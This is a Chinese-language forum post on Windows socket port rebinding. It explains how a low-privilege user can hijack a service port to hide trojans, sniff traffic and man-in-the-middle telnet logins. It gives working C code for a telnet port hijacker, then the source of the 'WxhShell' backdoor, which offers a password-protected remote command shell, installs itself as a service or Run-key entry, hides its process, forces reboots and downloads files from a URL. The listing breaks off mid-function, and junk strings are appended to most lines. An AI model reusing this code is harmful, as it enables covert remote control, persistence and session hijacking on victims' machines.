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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e;Ti&o}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6:Ch^c+IZ  
x(etb<!jd  
  saddr.sin_family = AF_INET; dJ2Hr;Lc  
[S HXJ4P*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,2j&ko1  
Zhh2v>QOy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kP#B5K_U|  
T>}5:,N~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -8:&>~4`  
L;VoJf  
  这意味着什么?意味着可以进行如下的攻击: yj;sSRT  
l6YtEHNG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hAYTj0GZ  
6x h:/j3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %QH)'GJQ  
sYe?M,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .y_/Uwu  
K`iv c N"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #MX'^RZ>2  
VL% UR{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rai3<_W<  
,uo'c_f(e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2 ^mJ+v<  
C~nzH,5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <j&DK2u=i  
|X0Y-  
  #include tk!t Y8j  
  #include 7ePqmB<.  
  #include PZE0}>z  
  #include    U]^HjfX\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <KE 1f7c  
  int main() ;3d"wW]}7K  
  { 5b!vgm#])  
  WORD wVersionRequested; v1BDP<qU2  
  DWORD ret; 0~ZFv Wv  
  WSADATA wsaData; )2V:  
  BOOL val; f|h|q_<;  
  SOCKADDR_IN saddr; 2"Ecd  
  SOCKADDR_IN scaddr; 19O,a#{KHf  
  int err; ::ajlRZG  
  SOCKET s; 7![,Q~Fy  
  SOCKET sc; 4SlADvGl  
  int caddsize; iz8Bf;  
  HANDLE mt; a= DcZ_M  
  DWORD tid;   85n1eE  
  wVersionRequested = MAKEWORD( 2, 2 ); |$Xl/)Oq  
  err = WSAStartup( wVersionRequested, &wsaData ); 6^]!gR#B  
  if ( err != 0 ) { `S6x<J&T\/  
  printf("error!WSAStartup failed!\n"); O-LO/*5MI  
  return -1; Y( 3Bp\6  
  } ?Cl%{2omO  
  saddr.sin_family = AF_INET; k`0>36  
   /LO -HnJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |/09<F:L[  
|&FkksNAl\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H*[ M\gN$  
  saddr.sin_port = htons(23); :?/cPg'D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >sWp ?  
  { Ezr:1 GJ  
  printf("error!socket failed!\n"); 8g&? Cc  
  return -1; h{AII  
  } LG<J;&41~S  
  val = TRUE; QV {}K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A<1hOSCz\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `}mcEl  
  { Olh<,p+x  
  printf("error!setsockopt failed!\n"); }HY-uQ%@g  
  return -1; ;~"FLQg@  
  } !Cr(P e]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d5oIH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #7MUJY+ 9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E=>FjCsu<-  
(+B5|_xQu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D|Q#gcWpo  
  { ](&{:>RNJ  
  ret=GetLastError(); vJ'2@f$  
  printf("error!bind failed!\n"); oZ!m  
  return -1; sOU1n  
  } 3+@<lVew6  
  listen(s,2); > U%gctIg  
  while(1) dHv68*^\'  
  { i[?Vin  
  caddsize = sizeof(scaddr); ie2WL\tR4  
  //接受连接请求 qYlhlHD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P;Ga4Q.  
  if(sc!=INVALID_SOCKET) dvt9u9Vg=  
  { T[j#M+p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m+lvl  
  if(mt==NULL) v"#mzd.tW  
  { " N9 <wU  
  printf("Thread Creat Failed!\n"); 5 u*-L_  
  break; H;YP8MoQ  
  } r\/9X}y4z  
  } Ry%Mej:  
  CloseHandle(mt); 0V'nK V"|  
  } wid;8%m  
  closesocket(s); MLRK74D  
  WSACleanup(); T>R0T{A  
  return 0; a2 Y;xe  
  }   f;1K5Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) f"qga/  
  { <N_+=_  
  SOCKET ss = (SOCKET)lpParam; Il= W,/y  
  SOCKET sc; f] J M /  
  unsigned char buf[4096]; (`sH3&Kl  
  SOCKADDR_IN saddr; XT@-$%u  
  long num; c6X}2a'  
  DWORD val; u%$Zqee  
  DWORD ret; fO0XA"=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .pN`;*7`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,!7 H]4Qx  
  saddr.sin_family = AF_INET; ReM=eS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bpKZ3}U  
  saddr.sin_port = htons(23); z#]Jv!~EPE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +YqZ ((  
  { 34d3g  
  printf("error!socket failed!\n"); )0Me?BRp  
  return -1; jC7&s$>Q"g  
  } yjhf   
  val = 100; 8erSt!oM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Mi/&f   
  { _g~qu [1  
  ret = GetLastError(); :1iqT)&|8F  
  return -1; KN7n@$8YM  
  } V\^EfQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K00 87}H  
  { 4Qo]n re!  
  ret = GetLastError(); H Ge0hl[n  
  return -1; rxy&spX  
  } 4*'pl.rb>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nSkPM 5\TI  
  { !kE-_dY6)  
  printf("error!socket connect failed!\n"); R0L&*Bjm  
  closesocket(sc); ,;(PwJe  
  closesocket(ss); F$hY KT2|  
  return -1; #_(jS+lP?k  
  } `g6h9GC6  
  while(1) U )l,'y2  
  { 1f8GW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^ 8@Iyh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E5N{j4\F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "sl1vzRN  
  num = recv(ss,buf,4096,0); XLH+C ]pfr  
  if(num>0) 6p?JAT5  
  send(sc,buf,num,0); "B8"_D&  
  else if(num==0) E Kz'&Gu  
  break;  R#DwF,  
  num = recv(sc,buf,4096,0); |7}C QU  
  if(num>0) y;AL'vm9  
  send(ss,buf,num,0); v0ES;  
  else if(num==0) r?*NhLG ;  
  break; `A,g] 1C:  
  } %0mMz.f  
  closesocket(ss); <1.A=_ M  
  closesocket(sc); Wxbq)Z[V  
  return 0 ; t6A:Z mG_  
  } " $ew~;z  
Eyh51IB.  
;XDz)`c  
========================================================== v !FMs<  
{!K-E9_,S  
下边附上一个代码,,WXhSHELL =l0Jb#d  
}oKG}wgY  
========================================================== XxaGp95so  
V2<?ol  
#include "stdafx.h" viAMr"z  
V86Xg:?7  
#include <stdio.h> &%_& 8DkG  
#include <string.h> 1& '8Y  
#include <windows.h> 2"d!(J6}K  
#include <winsock2.h> gt7VxZ  
#include <winsvc.h> f*24)Wn<  
#include <urlmon.h> %Jf<l&K .`  
&V<W>Y>|l*  
#pragma comment (lib, "Ws2_32.lib") >"@?ir  
#pragma comment (lib, "urlmon.lib") 1<h>B:  
fI7j):h;  
#define MAX_USER   100 // 最大客户端连接数 Z-B%'/.  
#define BUF_SOCK   200 // sock buffer !!:LJ  
#define KEY_BUFF   255 // 输入 buffer 9P<[7u  
)Y8",Ig  
#define REBOOT     0   // 重启 V&|!RxWK  
#define SHUTDOWN   1   // 关机 NcAp_q? 4  
@y/wEBb  
#define DEF_PORT   5000 // 监听端口  N<L`c/  
R+~cl;#G6  
#define REG_LEN     16   // 注册表键长度 z 8*8OWM  
#define SVC_LEN     80   // NT服务名长度 \i[BP  
er.CDKD%L  
// 从dll定义API l6u&5[C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Xdj(_&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  A, PlvI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dk==?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (LtkA|:  
M@thI%lR  
// wxhshell配置信息 }N*>QR5K  
struct WSCFG { =ORf%f5"'  
  int ws_port;         // 监听端口 {R^'=(YFy  
  char ws_passstr[REG_LEN]; // 口令 3},Zlu  
  int ws_autoins;       // 安装标记, 1=yes 0=no !4rPv\   
  char ws_regname[REG_LEN]; // 注册表键名 1KYN>s:  
  char ws_svcname[REG_LEN]; // 服务名 M]-VHI[&W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XTDE53Js&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Mp1~{8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 - ~4+w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [ "xn5l E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &l}?v@@+_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p$k\m|t  
&)pK%SAM  
}; !eJCM`cp  
|8)Xc=Hz  
// default Wxhshell configuration $A$@|]}p  
struct WSCFG wscfg={DEF_PORT, OSzjK7:  
    "xuhuanlingzhe", :ZxLJK9x1  
    1, ]Fb0Az  
    "Wxhshell", RH~3M0'0  
    "Wxhshell", H0*5_OJ!i  
            "WxhShell Service", MF[z -7  
    "Wrsky Windows CmdShell Service", /9Ilo\MdD  
    "Please Input Your Password: ", Q;nAPS  
  1, :Y)to/h  
  "http://www.wrsky.com/wxhshell.exe", D{'#er  
  "Wxhshell.exe" B(l-}|m_  
    }; eFTX6XB:i  
"D* Wi7  
// 消息定义模块 ,M3z!=oIGn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s>z2  k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xfSG~csoz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -PAF p3w\y  
char *msg_ws_ext="\n\rExit."; jnoL2JR[=-  
char *msg_ws_end="\n\rQuit."; 9e<Zgr?N  
char *msg_ws_boot="\n\rReboot..."; m%QqmTH  
char *msg_ws_poff="\n\rShutdown..."; C4$/?,K(  
char *msg_ws_down="\n\rSave to "; G+)?^QTn  
S=gW(c2'  
char *msg_ws_err="\n\rErr!"; 6T^lS^  
char *msg_ws_ok="\n\rOK!"; J-J3=JG  
LD+f'^>>Z  
char ExeFile[MAX_PATH]; Kla:e[{  
int nUser = 0; )-&nxOP  
HANDLE handles[MAX_USER]; ?gV'(3 !  
int OsIsNt; $<e +r$1  
Jm![W8L  
SERVICE_STATUS       serviceStatus; gJ\%>r7h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MWq$AK]  
wsg//Ec]  
// 函数声明 vmKT F!;  
int Install(void); ) Ypz!  
int Uninstall(void); =|y|P80w  
int DownloadFile(char *sURL, SOCKET wsh); dE>v\0 3!8  
int Boot(int flag); MM_py!=>7  
void HideProc(void); @;9()ad  
int GetOsVer(void); Tkrx7C s(  
int Wxhshell(SOCKET wsl); 0|2%#  E  
void TalkWithClient(void *cs); ci7~KewJ*  
int CmdShell(SOCKET sock); i=Kvz4h  
int StartFromService(void); (G5T%[/U  
int StartWxhshell(LPSTR lpCmdLine); P $h;SK  
+-HE '4mo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q<}PM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kcn\g.  
mcMb*?]  
// 数据结构和表定义 sM9- 0A  
SERVICE_TABLE_ENTRY DispatchTable[] = 2nx8iA  
{ &5/JfNe3  
{wscfg.ws_svcname, NTServiceMain}, Orc>.~+f%A  
{NULL, NULL} Ao!=um5D J  
}; 3^H/LWx`{]  
c+;S<g 0  
// 自我安装 Ge9}8  
int Install(void) ~D!ESe*=  
{ M;@Ex`+?i  
  char svExeFile[MAX_PATH]; 5xv,!/@  
  HKEY key; t!savp  
  strcpy(svExeFile,ExeFile); N('3oy#8  
3It8&x:  
// 如果是win9x系统,修改注册表设为自启动 67 O<*M  
if(!OsIsNt) { <|dj^.^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a?\ `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i\Q":4  
  RegCloseKey(key); q]?+By-0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V"U~Q=`K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wlxk  
  RegCloseKey(key); ,"C&v~  
  return 0; 4= $!_,.  
    } a~ F u  
  } " #J}A0  
} %SFw~%@3&~  
else { 2q$X>ImI$  
'U*udkn 2]  
// 如果是NT以上系统,安装为系统服务 9Iy[E,j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3_@G{O)e  
if (schSCManager!=0) {8W |W2o$!  
{ ~EPjZ3 ?  
  SC_HANDLE schService = CreateService 0YHYxn  
  ( ?/^VOj4&  
  schSCManager, 1URT2$2p  
  wscfg.ws_svcname, /. f!  
  wscfg.ws_svcdisp, VN!^m]0  
  SERVICE_ALL_ACCESS, r$Kh3EEF`E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @D2`*C9  
  SERVICE_AUTO_START, )8\Z=uC  
  SERVICE_ERROR_NORMAL, &8.z$}m  
  svExeFile, I  *1#  
  NULL, xDNw /'  
  NULL, s')!<E+z\t  
  NULL, ,\Z8*Jr3Q  
  NULL, HL|0d }  
  NULL s-y'<(ll  
  ); Q9SPb6O2  
  if (schService!=0) Y'\3ux0]4'  
  { ,[+ZjAyG}#  
  CloseServiceHandle(schService); Es_ SCWJ  
  CloseServiceHandle(schSCManager); G`&'Bt{Z*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &xF4p,7  
  strcat(svExeFile,wscfg.ws_svcname); CAcOWwDm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %Td+J`|U+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i,\t]EJAU  
  RegCloseKey(key); "Vs Nyy  
  return 0; !hpTyO+%  
    } C%qtCk_cN  
  } 5LnB]dW  
  CloseServiceHandle(schSCManager); =W97|BIW,  
} #nt<j2}m  
} j>0SE  
5k_Mj* {6  
return 1; rl_1),J\qG  
} V~tu<"%  
E}E7VQjM  
// 自我卸载 }6b7a1p  
int Uninstall(void) \Mh4X`<e  
{ y^vfgP<@  
  HKEY key;  k,o=1I  
bDcWb2 lqs  
if(!OsIsNt) { ]ys4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UwzE'#Q-  
  RegDeleteValue(key,wscfg.ws_regname); 9 ^=t@  
  RegCloseKey(key); FlM.D u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &)/H?S;yN  
  RegDeleteValue(key,wscfg.ws_regname); 5Od(J5`  
  RegCloseKey(key); r[i~4N=  
  return 0; p>w~T#17  
  } ({}O M=_  
} N:sECGS,  
}  K{7S  
else { p'9 V. _h  
*RqO3=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RF\1.HJG  
if (schSCManager!=0) !ktA"Jx  
{ 2TevdyI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jwtXI\@MS  
  if (schService!=0) 71.:p,Z@z  
  { Dk. 9&9mz  
  if(DeleteService(schService)!=0) { j)SgB7Q  
  CloseServiceHandle(schService); 9_CA5?y$:  
  CloseServiceHandle(schSCManager); bC,M&<N  
  return 0; ]!S)O|_D[  
  } , T%pGku  
  CloseServiceHandle(schService); O7#}8-@}<u  
  } F.* snF  
  CloseServiceHandle(schSCManager); \]d*h]Hms  
} vN6]6nUOiT  
} t+TbCe  
:Y)kKq d  
return 1; e7j]BzGvl  
} N#6A>  
e|+;j}^C  
// 从指定url下载文件 H ]N/Y{  
int DownloadFile(char *sURL, SOCKET wsh) 8T1DcA*  
{ /dP8F  
  HRESULT hr; PXQ9P<m  
char seps[]= "/"; YF[!Hpzq  
char *token; o3[sF  
char *file; 7g<`w LAH  
char myURL[MAX_PATH]; !NY^(^   
char myFILE[MAX_PATH]; n N]vu  
qt&"cw  
strcpy(myURL,sURL); |&pz,"(  
  token=strtok(myURL,seps); qYrGe  
  while(token!=NULL) ,Vn]Ft?n  
  { ]j#$.$q  
    file=token; :phD?\!w8t  
  token=strtok(NULL,seps); #dm@%~B{.  
  }  $.]t1e7s  
zinl.8Uk  
GetCurrentDirectory(MAX_PATH,myFILE); l8d%hQVqT  
strcat(myFILE, "\\"); u~T$F/]k>  
strcat(myFILE, file); <!nWiwv  
  send(wsh,myFILE,strlen(myFILE),0); Jn[ K0GV  
send(wsh,"...",3,0); 3jdB8a]T_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (C_o^_I:  
  if(hr==S_OK) = FJ9wiL  
return 0; Q7aDl8Lxn  
else {3uSg)  
return 1; 3\.)y49,1  
umrI4.1c  
} >2{HH\  
P FFw$\j  
// 系统电源模块 kb\v}gfiD/  
int Boot(int flag) <ORz`^27o  
{ ;{7lc9uRj  
  HANDLE hToken; cMk%]qfVo8  
  TOKEN_PRIVILEGES tkp; ~\IDg/9 Cj  
qtQ:7WO  
  if(OsIsNt) { F+9`G[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~:b~f]lO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :DpK{$eCb  
    tkp.PrivilegeCount = 1; Y6DiISl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Cx'=2Y7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jCv+m7Z  
if(flag==REBOOT) { P(+ar#,G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HON[{Oq  
  return 0; .7rsbZzs  
} W >IKy#  
else { 3AL=*qq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vt=S0X^$yc  
  return 0; bu5)~|?{t  
} O5%F-}(:  
  } <W^~Y31:0  
  else { P#1y  
if(flag==REBOOT) { V$D d 7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =#fvdj  
  return 0; 7U0):11X#  
} 0evZg@JP`  
else { t\0JNi$2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3Ab$  
  return 0; 1'B?f# s  
} rvO+=Tk  
} '|r !yAO6  
Y" |U$  
return 1; qeGOSGc_  
} jGPs!64f)  
_RVXE  
// win9x进程隐藏模块 %LmB`DqZ  
void HideProc(void) O-YE6u  
{ H#akE\,  
Iqv 5lo .  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |zlwPi.  
  if ( hKernel != NULL ) 5=e@yIr'#  
  { c5u?\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m0YDO 0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v\u+=}r l  
    FreeLibrary(hKernel); }wKU=Vm  
  } !).d c.P  
2Hj]QN7"   
return; KxI(# }5o&  
} 5O*$#C;c  
7IR n  
// 获取操作系统版本 'UCL?$  
int GetOsVer(void) +q!6zGs.  
{ Ft7l/  
  OSVERSIONINFO winfo; cA,xf@itp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N0NMRU]zT  
  GetVersionEx(&winfo); A,@"(3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r\?*?sL  
  return 1; M_DkjuR  
  else bK7DGw`1  
  return 0; na>B{6  
} W%x#ps5%  
[;}c@  
// 客户端句柄模块 ~j_H2+!  
int Wxhshell(SOCKET wsl) ,;g:qe3D$  
{ a+d|9y/k  
  SOCKET wsh; 0td;Ag  
  struct sockaddr_in client; W\/0&H\i  
  DWORD myID; dpS  
gxiJ`. D=  
  while(nUser<MAX_USER) e3.TGv7=  
{ G(L*8U< UG  
  int nSize=sizeof(client); mDhU wZH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1Pbp=R/7ar  
  if(wsh==INVALID_SOCKET) return 1; `|4{|X*U.  
Ek:u[Uw\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6%>0g^`)9Y  
if(handles[nUser]==0) ]pb3 Fm{  
  closesocket(wsh); W cnYD)  
else |( KM 8  
  nUser++; K% ;O$ >  
  } m@~HHwj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hd900LA}  
*i|hcDk  
  return 0; *GA#.$n  
} 1BF+sT3  
e.Ii@<  
// 关闭 socket Ofn:<d  
void CloseIt(SOCKET wsh) .Xr_BJ _  
{ ;^;5"n h  
closesocket(wsh); SL(Q;_  
nUser--; cWm.']  
ExitThread(0); 0GB6.Ggft  
} hPl;2r  
BR|dW4\  
// 客户端请求句柄 Z"P{/~HG  
void TalkWithClient(void *cs) =w8*n2  
{ ]M_)f  
r`lgK2r\  
  SOCKET wsh=(SOCKET)cs; ar{Yq  
  char pwd[SVC_LEN]; #df Aqg'  
  char cmd[KEY_BUFF]; lcih [M6z  
char chr[1]; Od"-w<'  
int i,j; c$p1Sovw  
H`fkds  
  while (nUser < MAX_USER) {  3o/f#y  
h~dM*yo;  
if(wscfg.ws_passstr) { ]TGJ|X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,TL~];J'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fY>\VY$>  
  //ZeroMemory(pwd,KEY_BUFF); u+{5c5_  
      i=0; e{"d6pF=  
  while(i<SVC_LEN) { W0R6<- 1  
|GIT{_JE  
  // 设置超时 T%Z`:mf  
  fd_set FdRead; 2-2'c?%  
  struct timeval TimeOut; X~lOFH;}q  
  FD_ZERO(&FdRead); |]Ockg[  
  FD_SET(wsh,&FdRead); 2 !{P<   
  TimeOut.tv_sec=8; Oi7|R7NE  
  TimeOut.tv_usec=0; (RGl, x:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |i1z47jN6P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IWTD>c).  
iTD{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T_pE'U%[  
  pwd=chr[0]; !5x"d7  
  if(chr[0]==0xd || chr[0]==0xa) { |U12 fuQ  
  pwd=0; x%LWcT/  
  break; vVE^Y  
  } [4 "%NY  
  i++; tw^V?4[Miu  
    } 6jom6/F 4  
^]OD+v  
  // 如果是非法用户,关闭 socket {d=y9Jb^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r)ga{Nn,.  
} QiY7m<3  
-0lpsF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =yk#z84<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .] 5&\  
>pz/wTOi  
while(1) { {_PV~8u  
&:w{[H$-  
  ZeroMemory(cmd,KEY_BUFF); ("wPkm^  
CfA F.H  
      // 自动支持客户端 telnet标准   -H{c@hl  
  j=0; !j [U  
  while(j<KEY_BUFF) { ^h=;]vxO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kq{9 :G  
  cmd[j]=chr[0]; E9QNx6 2  
  if(chr[0]==0xa || chr[0]==0xd) { w ~Es,@  
  cmd[j]=0; 2= u5N[*  
  break; XA>@0E>1r  
  } liPUK#  
  j++; g7#_a6  
    } naW}[y*y;  
:@19,.L  
  // 下载文件 .#EmE'IP*  
  if(strstr(cmd,"http://")) { )=ZWn,ZB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MZ6?s(mkx  
  if(DownloadFile(cmd,wsh)) Mt<TEr}7Z=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3>/Yku)t  
  else m>:3Ku  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V1;n5YL  
  } Jc:*X4-'  
  else { ~~b[X\1  
o1-Zh!*a*  
    switch(cmd[0]) { @R(6w{h9  
  Y M/^-[k3  
  // 帮助 -E?h^J&U  
  case '?': { [gQ*y~N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ga"$_DyM  
    break; '72ZLdi}-  
  } qGr(MDLc  
  // 安装 Dm"GCV  
  case 'i': { VctAQ|h^  
    if(Install()) z9u"?vdA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,=R->~ J  
    else '$UlJDZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;HgV(d#X  
    break;  J$v0  
    } y!)Z ^u  
  // 卸载 IH'DCY:  
  case 'r': { t/#[At5p=  
    if(Uninstall()) 7.hn@_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q_ykB8Ensa  
    else 8 U B?X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vB#&XK.aW  
    break; Ti=~ycwi  
    } :(!il?  
  // 显示 wxhshell 所在路径 ZH~T'Bg  
  case 'p': { Wx;:_F7'\  
    char svExeFile[MAX_PATH]; #,0%g 1  
    strcpy(svExeFile,"\n\r"); '&xv)tno  
      strcat(svExeFile,ExeFile); &zynfj#o  
        send(wsh,svExeFile,strlen(svExeFile),0); (B}+uI{  
    break; W52AX.Nm  
    } )K4 |-<i  
  // 重启 > 't=r  
  case 'b': { k z@@/DD/9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sdy\s5  
    if(Boot(REBOOT)) 6NVf&;laQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mp:tcy,*  
    else { rL w,?  
    closesocket(wsh); X@*$3z#Z  
    ExitThread(0); 1l"A7 V  
    } L6fc_Mo.EE  
    break; IX7<  
    } *Sm$FMWQ  
  // 关机 Em N0K'x  
